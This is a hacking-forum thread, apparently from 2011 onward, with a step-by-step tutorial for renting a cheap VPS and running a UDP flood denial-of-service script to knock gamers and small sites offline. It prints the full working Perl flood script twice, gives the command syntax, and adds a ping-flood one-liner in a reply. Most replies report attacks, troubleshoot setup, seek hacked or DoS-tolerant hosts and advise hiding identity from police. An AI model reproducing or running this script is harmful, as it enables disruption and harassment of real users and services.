Thread: [\[TuT\] ? Dos via Putty ? No shells or Bots needed? Strong Dos?\[TuT\]](#)

Bawss - May 22, 2011, 10:02 pm

Copying my tut will get you neg repped!

Putty Dos setup "Nix server"

Hello and welcome to my tutorial on how to set your VPS to dos by installing a perl script which will then allow ,if set up right to take down small sites and almost every opponent off XBL , PSN even take down CSS servers. Allowing you to hold a person offline for as long as you want with no restrictions whats so ever.

following these steps provided below you should have your vps setup for Dos in no longer then 10minutes

Step#1:ordering your 9\$ vps

Choose any location but usa ! then choose Ubuntu as operating system leave everything else the same fill out info then check out.

<https://clients.santrex.net/cart.php?gid=27>

--

Step#2 : Download putty [Download here](#) "File named putty.exe" first one

--

Step#3:Your info

once you got your vps info put your vps ip on the top of putty bar then proceed by clicking open.A white screen should pop up click ok

[IMG]<http://img845.imageshack.us/img845/1026/puttydos1.png>[IMG]

Step#4: Logging in putty

Once you have clicked ok on that white pop up ,a black screen asking for username should show up

use

Code username:root

then click enter

then screen asking for password

use your vps password then click enter

Step#5:Installing perl

Copy paste the command below to your putty then press enter, once you have done that you should see a whole bunch of stuff like image below. its going to ask if you want to continue press "y" then enter

Note: if it says perl is already installed then you dont have to worry about this step
Code sudo apt-get install perl[IMG]<http://img713.imageshack.us/img713/7392/puttyperly.png>[IMG]

Step#6: Perl Dos script

Copy the code script below and save it to your notepad as "dos.pl"

Code #!/usr/bin/perl

```
##  
# illegal things.  
##  
  
use Socket;  
use strict;  
  
my ($ip,$port,$size,$time) = @ARGV;  
  
my ($iaddr,$endtime,$psize,$pport);  
  
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";  
$endtime = time() + ($time ? $time : 100);  
socket(flood, PF_INET, SOCK_DGRAM, 17);  
  
print "Flooding $ip " . ($port ? $port : "random") . " port with " .  
    ($size ? "$size-byte" : "random size") . " packets" .  
    ($time ? " for $time seconds" : "") . "\n";  
print "Break with Ctrl-C\n" unless $time;  
  
for (;time() <= $endtime;) {  
    $psize = $size ? $size : int(rand(1024-64)+64) ;  
    $pport = $port ? $port : int(rand(65500))+1;  
  
    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));  
}
```

Step#7: Installing the script

Next on your putty copy paste the code below and press enter, and a black screen should show up.
Next Copy & paste script from step #6 and press (ctrl x) "y" then "enter"
Now your done .

Code nano dos.pl

Step#8: Commands & how to Dos

Code perl dos.pl (ip) (port) (65500) (seconds)

Should look like this

```
perl dos.pl 123.456.789.10 80 65500 60
```

press enter to start flood .you can either leave seconds blank and use "ctrl c" to stop the flood

if all went well you should this "Flooding 123.456.789.10 80 port with 6550-byte packets for 60 seconds"

im very high while writing this so any spelling errors sorry =[

(May 22, 2011 10:04 PM)Natha Wrote: [\[CITE\]](#) Santrex is on top of this shit now.
my vps i have from them has been up for 4 weeks

also just an example does not have to be santrex i put it cause its the cheapest i know of =]

Xylon - May 22, 2011, 10:21 pm

Well that's a good tutorial but its still only 6550 bytes wich is pretty low
Couldn't you do like this in cmd instead?
Ping -v igmp "ip" -l 6550 -t
If you have a strong internet that's enough :P

Bawss - May 23, 2011, 12:05 am

And then?

If you run it on your own internet if you are using [Windows]

Then you will have a nice bandwidth retard

What chapter ru fucking off

Nice topic though :-D

enjo4853 - May 25, 2011, 8:25 am

Tip: You can use ElasticHost to setup your free 5 day VPS, this is what I did :D.

All thought you can only Dos for about an hour then you go over your GB limit and they will disable your account until you pay it off. But it takes like 2 seconds for me to make a new account.

Thanks for the tut, I was hitting some Gmod servers for fun and some went offline, lol.

934891234031412343 - May 25, 2011, 12:46 pm

prometheus. - May 31, 2011, 5:02 pm

(May 31, 2011 03:53 PM)xNintendo Wrote: [\[CITE\]](#) what are you trying to hitting ?Xbox Live people, I got that same exact package but nothing not even lag.

Superman719 - May 31, 2011, 6:22 pm

thats wat i was gonna b asking... can this guarantee to hit cable connections off of xbl like comcast or shawcable???

those seem to be the biggest pains for knocking offline... id love to do this and be able to setup a guaranteed booter with no hesitation for knocking everyone off xbl when needed but i dont have the money to randomly spend if it wont work 100% ya kno.... plz lemme kno

Bawss - May 31, 2011, 6:35 pm

(May 31, 2011 05:02 PM)WiFi. Wrote: [\[CITE\]](#) Xbox Live people, I got that same exact package but nothing not even lag.

very weird imo i hit people out on psn very quickly maybe also on xbl

maybe try reinstalling os a reboot vps and install script again

jdizzle314 - June 1, 2011, 4:25 am

Yea with the help of the maker of this thread he set up everything i need and i def have no probs booting people offline...

maduh - June 1, 2011, 6:08 am

very nice tut

message too short

Axanas - June 1, 2011, 4:11 pm

[Error writing dos.pl: Read-only file system]

:(

EDIT: Could I just upload the file on a site of mine and download it using wget? Just uploaded to a site and tried to download. Apparently you can't do that with .pl files? It gives me a 500 internal server error when I try to go to the url. Renamed it to dos.txt and tried to download through PuTTY again.

Code Cannot write to `dos.txt' (Read-only file system).

Eeluminati - June 1, 2011, 8:57 pm

Nice tut dude

- Zel (Shit Hacker)

Peroxide - June 2, 2011, 1:39 am

Lol ^

Just saying, as he used sudo in the tut. Didn't want to confuse anybody.

Chuck Wagon - June 8, 2011, 1:38 pm

I need help. When I attempt to install Perl, it says Sudo: Command Not Found. I have no idea where to go from here.

micafire - June 9, 2011, 12:23 pm

Thanks for the tutorial! ;D

preemz - June 9, 2011, 6:13 pm

I actually saved the script to a notepad file as a .txt uploaded it to one of my domains, used wget to dl it- then changed the nano dos.pl to perl dos.txt (or w.e u saved it as.txt) > enter and it then asked for the ip port which worked. then followed with his instructions perl dos.pl 123.456.789.10 80 65500 60..Which then resulted in Flooding bla bla bla...,using a cent os vps.

Raijin - June 9, 2011, 6:16 pm

(Jun 8, 2011 01:38 PM)Th3Proph3t Wrote: [\[CITE\]](#) I need help. When I attempt to install Perl, it says Sudo: Command Not Found. I have no idea where to go from here.

Then you might not be using Ubuntu. Try it without the sudo.

preemz - June 9, 2011, 6:44 pm

You can just try to skip the perl installation, it may already be installed on your vps. just saying.

magikz - June 11, 2011, 12:30 am

Can you help me setup over tv i sent you a msn.My msn is afaded@hotmail.com When i try to install perl Sudo: Command Not Found.Can anybody help thanks.

preemz - June 11, 2011, 11:09 am

Maybe your operating system is cent os. try yum install perl , also like i stated before, try it without the install perl, your vps may have it already installed.

C:/Windows - June 11, 2011, 12:08 pm

Nice tut, I went and bought a VPS and tried this just because this tut seems nice. It works, the putty server hits harder than any shell booter i've used.

magikz - June 11, 2011, 1:47 pm

(Jun 11, 2011 11:09 AM)preemz Wrote: [\[CITE\]](#) Maybe your operating system is cent os. try yum install perl , also like i stated before, try it without the install perl, your vps may have it already installed.I tried this but when i try to enter the ip and hit enter says Command Not Found.Anybody Help? please.

Enlighten - June 11, 2011, 7:00 pm

Is there any free vps? Any suggestions?(I dont have a paypal acc now)

Or anywhere where i can find some hacked vps?

Bawss - June 11, 2011, 10:47 pm

any one who needs help im online now . i wont be on for long

orqe - August 2, 2011, 1:20 pm

xNintendo, Please Help me set this up i have an elastic hosts server all set up but when i go to overwrite the file and hit ctrl x it doesnt say to do that and messes everything up please help! Help Me Set This up please xNintendo i have a elastichosts server set up but i need you to help me install the perl dos and be able to hit and all that thanks so much

RiLEY32327 - August 10, 2011, 3:53 am

(May 22, 2011 10:02 PM)xNintendo Wrote: [\[CITE\]](#) closing this thread to many people using my tut to sale on market place when the users could have just came here ,

now if you need help setting up a nix server or known on hf as "putty dos "

pm me and ill help you set it up
Plz put the tut back up I would Love you

Bawss - August 17, 2011, 12:53 pm

my my tut back on the thread =] those who still need help pm me ill be gald to set it up for you

hisoka34 - August 17, 2011, 1:11 pm

It looks great ! Nice one !

nice tuto.

Fondly , Hisoka 34

Gabrepap - August 20, 2011, 6:50 pm

Op makes some beast ass tutorials vouch!!!!

P€rkan777 - August 21, 2011, 5:30 am

This guy helped me alot.He is an excellent guy and memmbers like him make HF a better place.
Thanks once again :)

Mouse Cop - August 21, 2011, 8:30 am

Hey man thanks for the great tut it makes things pretty simple.

Stream HUB - August 30, 2011, 12:07 pm

BEGIN not safe after errors--compilation aborted at dos.pl line 9.

any idea how to fix that ?

TRDrew - September 4, 2011, 10:27 am

Do you have an AIM? I know I am going to need help with this. Can you help me? I installed the Perl thing, and now I can't send the command after doing the nano thing and that huge ass code and hitting ctrl x and y and enter, I still cant get it to work? Do you have AIM?

Big Bog - September 8, 2011, 4:44 pm

Thanks a lot for the explanation, I needed help finding a decent VPS, and Santrex is really nice.

Regards,

Biggy B

aminataseck - September 8, 2011, 10:49 pm

Awesome tutorial for beginners here on hackforums.
I am a beginner this will help many new members

Ac!d - September 18, 2011, 11:25 am

very nice tutorial! Kepp up the good work!

Ephyrixa - September 18, 2011, 2:28 pm

rawness please help me my VPS wont connect through PuTTY. It's online. but it wont let me connect!

wzn888wzn - September 19, 2011, 8:49 am

really interesting share,thank you so much

Sonic Boom - September 19, 2011, 10:23 am

Thanks for this,I am gonna try it as soon as I get on my PC.

ebalvrot - September 20, 2011, 10:34 am

if i want to add users to my putty dos how can i remove em thanks

Ac!d - September 20, 2011, 4:40 pm

Santrex banned me for ddosing. Dont use their service. It sucks

ebalvrot - September 21, 2011, 1:55 pm

when i type nano dos.pl it says -bash root@blabla: not found wtf (Sep 20, 2011 04:40 PM)Ac!d
Wrote: [\[CITE\]](#) Santrex banned me for ddosing. Dont use their service. It sucks
Use dotvps, it has 100TB Bandwitch and 1GBPS Connection and its cheaper.

Pinch - September 21, 2011, 3:01 pm

Nvm solved, had to reinstall Ubuntu on the server, cheers for the guide!

LiteFire - October 2, 2011, 7:49 pm

If I have a VPS located in the US, will this still work?

Valour - October 2, 2011, 8:14 pm

(May 22, 2011 10:21 PM)L0C4LH0ST Wrote: [\[CITE\]](#) Well that's a good tutorial but its still only 6550 bytes wich is pretty low

Couldn't you do like this in cmd instead?

Ping -v igmp "ip" -l 6550 -t

If you have a strong internet that's enough :P

I should agree with ^^ coz its only 6550 bytes which can be used by simple pinging instead of going through so many steps.. Try it out. I don't think there would be a lot of difference in both of the things (viz the ping command and ur tutorial..)

dragonmaster33 - October 2, 2011, 8:59 pm

Perfect! This is a really good guide.

Yelim - October 20, 2011, 11:48 am

When I type nano dos.pl it says

"-bash: nano command not found"

dizzi123 - October 21, 2011, 10:31 am

When i go to put in my vps ip in putty i get an error and it disconnects? Help would be appreciated.

I Am Elite - October 21, 2011, 10:35 am

a vps dos'er is rubbish , can only really hit up to 1gb/s and thats like a \$300+ month one but most only hit 100mb/s and that will only take down some home connections although great guide!!!
:):):):):)

dizzi123 - October 21, 2011, 10:50 am

I don't mind if it's "Rubbish" I would enjoy being able to use mine. If anyone would be able to help that is appreciated, when i put in the ip and the black screen comes up, after a few seconds i get an error saying "Network error: Connection timed out."

robincomp - October 21, 2011, 1:49 pm

<http://www.lowendbox.com> has some nice links on cheap VPS's. Also don't enter your real info, or else they'd send it to the cops.

EternalTheWarrior - October 21, 2011, 2:56 pm

Nice tutorial, using your own CMD on your pc would be simpler, though :P

FernandoL - October 26, 2011, 12:37 am

Well that's a good tutorial Thanks

Cheers,
Fernando

Use the " vi " command insted.. to edit the file

hackeye - October 30, 2011, 9:46 am

there is an easier way:

go to <http://hackthissite.com> and hold down the F5 key one minute, and "hack this site!" is dosed.

-PoisonedHD- - October 30, 2011, 9:48 am

good detailed tut, will be looking more into this

Bawss - October 30, 2011, 10:27 am

thanks guys will update this soon on how to install viking script version

dizzi123 - November 1, 2011, 5:02 pm

Bawss could you please help me because i bought a vps a few weeks ago and have not been able to use it because it dosent connect to putty

Bawss - November 1, 2011, 5:41 pm

(Nov 1, 2011 05:02 PM)dizzi123 Wrote: [\[CITE\]](#) Bawss could you please help me because i bought a vps a few weeks ago and have not been able to use it because it dosent connect to putty what does it say when u try to connect?

if it says connection refused or a pop up comes up u need to submit a ticket to ur hoster and explain your issue . make sure u put everything in correctly.

brassboy234 - November 2, 2011, 1:19 pm

All i get is -bash-3.2-#

No option to run nano, sapt-get or sudo commands.

Any idea's?

dizzi123 - November 3, 2011, 1:31 pm

Thankyou it is now working,much appreciated.

POxLEADER - November 3, 2011, 1:46 pm

does this putty on a nix sever work what happen to vps

Boris2010 - November 3, 2011, 7:40 pm

I followed this through correctly and got to the point where the first command I tried to paste told me "apt-get command not found" so I went through my steps again and it was all good then I looked at the VPS and they gave me the wrong fucking OS, I asked for ubuntu and everything and they gave me "Operating System centos-5.5-x86"

Fml lol

EDIT: Found out what "re-install" does in the panel LOL

Finished it, looks pretty sweet.

DJ5STUNNA - November 18, 2011, 7:13 pm

is there a goood and free Vps Mother will not let me use her credit card for on the online stuff plz anyone know of one

C:/Windows - November 18, 2011, 7:29 pm

Bawss Legit tutorial mate. Great job on it (:
Looking forward to seeing more tuts from you

DJ5STUNNA - November 18, 2011, 8:24 pm

im using alwaysonmypc.com and every time i put the rite password it say that it is wrong
help

dymicdev - November 19, 2011, 12:02 am

What VPS do you suggest?
santrex and burst suspended me.

Kamoflarj - November 27, 2011, 5:10 pm

How would i link like 5 VPS together? so that they hit at the same time? Would i need an IRC setup?

looks great i really need to buy a viking script though

Exure - December 27, 2012, 7:34 pm

Thanks worked like a charm. Keep up the tutorials.

:)

WizKhxlifa - February 9, 2013, 11:11 pm

Whenever you're online can you hmu and i need help with my putty it automatically logs me in the script when i login the client it don't do it to where i put ./menu or cd xtreme to login the script.

Dir50 - February 10, 2013, 2:10 am

Well i dont really recomend you santrex... One of the most overselling and lagging vps company i have ever tried...

Master Zorg - February 10, 2013, 6:54 am

I tried this once and it was fun. I might try it again now I have seen your thread ;) Nice tut.

FroFro - February 10, 2013, 2:18 pm

I wish I bought a VPS from the hosting provider you posted, I just bought one for \$10 with lower specs and they don't allow DoSing.

xCataclyst - February 10, 2013, 2:20 pm

Finally i've found a hoster that allows DoSing. Thanks :D

OGStacked - April 13, 2013, 9:43 am

Nice tutorial. It's sad that I can't see the pictures though.

Funbox - April 15, 2013, 1:41 am

What does this mean?:o

```
root@jakesvps:~# perl dos.pl
"use" not allowed in expression at dos.pl line 34, at end of line
syntax error at dos.pl line 34, near "pl
#!/usr/bin/perl

##
# illegal things.
##
```

use Socket"

BEGIN not safe after errors--compilation aborted at dos.pl line 35.

root@jakesvps:~#

DnSnh - April 15, 2013, 1:01 pm

Nice tut, I went and bought a VPS and tried this just because this tut seems nice. It works, the putty server hits harder than any shell booter i've used.

Olympia - April 16, 2013, 6:50 am

Going to do this tonight, how long could I flood people for lol?

..Novalok.. - April 18, 2013, 6:56 pm

Anyone recommend a better source for VPS?

xMr-ExTReMe - April 24, 2013, 3:48 pm

I so wanna buy but I dont know if i have to pay monthly or just once :l

Xecuter Coding - May 4, 2013, 5:39 pm

How Can I purchase this Putty and How much is it. Is it per month or lifetime

Endonium - May 5, 2013, 12:03 am

This thread is full of retards, it is impressive the basic lack of common sense and general knowledge people have. It scares me.

In any case, this is really not very useful even in the case of most singular IPs and people on xbox etc.

Unless you live in a backwards country, most ISPs now provide flood control and dos protection, there is no way you can flood anyone with such small size of packets, and with a script as basic as this.

Here in Latvia for example (6th fastest Inet in the world btw), my ISP offers such awesome protection that even a small DDoS based on a network of 150-300 bots wouldn't do shit.

DoS is useless, DDoS has anykind of value only if it's above 50Gb/s so good luck with that.

People need to stop with that shit. Especially if the aim is to boot someone from an online game so that you can make him lag or take advantage on him, that is just sad... so so very sad.

Infinite - May 9, 2013, 5:35 pm

I R HAZ L33T HECKZ WITH \$9 PTTY BUTER

rsn mini ultra - March 27, 2014, 8:56 pm

(May 22, 2011 10:02 PM)Bawss Wrote: [\[CITE\]](#) Copying my tut will get you neg repped!

Putty Dos setup "Nix server"

Hello and welcome to my tutorial on how to set your VPS to dos by installing a perl script which will then allow ,if set up right to take down small sites and almost every opponent off XBL , PSN even take down CSS servers. Allowing you to hold a person offline for as long as you want with no restrictions whats so ever.

following these steps provided below you should have your vps setup for Dos in no longer then 10minutes

Step#1:ordering your 9\$ vps

Choose any location but usa ! then choose Ubuntu as operating system leave everything else the same fill out info then check out.

<https://clients.santrex.net/cart.php?gid=27>

--

Step#2 : Download putty [Download here](#) "File named putty.exe" first one

--

Step#3:Your info

once you got your vps info put your vps ip on the top of putty bar then proceed by clicking open.A white screen should pop up click ok

[img]http://img845.imageshack.us/img845/1026/puttydos1.png[/img]

Step#4: Logging in putty

Once you have clicked ok on that white pop up ,a black screen asking for username should show up

use

Code username:root

then click enter

then screen asking for password

use your vps password then click enter

Step#5:Installing perl

Copy paste the command below to your putty then press enter, once you have done that you should see a whole bunch of stuff like image below. its going to ask if you want to continue press "y" then enter

Note: if it says perl is already installed then you dont have to worry about this step

Code sudo apt-get install perl[img]http://img713.imageshack.us/img713/7392/puttyperly.png[/img]

Step#6: Perl Dos script

Copy the code script below and save it to your notepad as "dos.pl"

Code #!/usr/bin/perl

```
##
# illegal things.
##

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
    $psize = $size ? $size : int(rand(1024-64)+64) ;
    $pport = $port ? $port : int(rand(65500))+1;

    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
```

Step#7: Installing the script

Next on your putty copy paste the code below and press enter, and a black screen should show up.
Next Copy & paste script from step #6 and press (ctrl x) "y" then "enter"
Now your done .

Code nano dos.pl

Step#8: Commands & how to Dos

Code perl dos.pl (ip) (port) (65500) (seconds)

Should look like this

```
perl dos.pl 123.456.789.10 80 65500 60
```

press enter to start flood .you can either leave seconds blank and use "ctrl c" to stop the flood

if all went well you should this "Flooding 123.456.789.10 80 port with 6550-byte packets for 60 seconds"

im very high while writing this so any spelling errors sorry =[
thank you!

SIM-587985 - October 30, 2022, 7:16 am
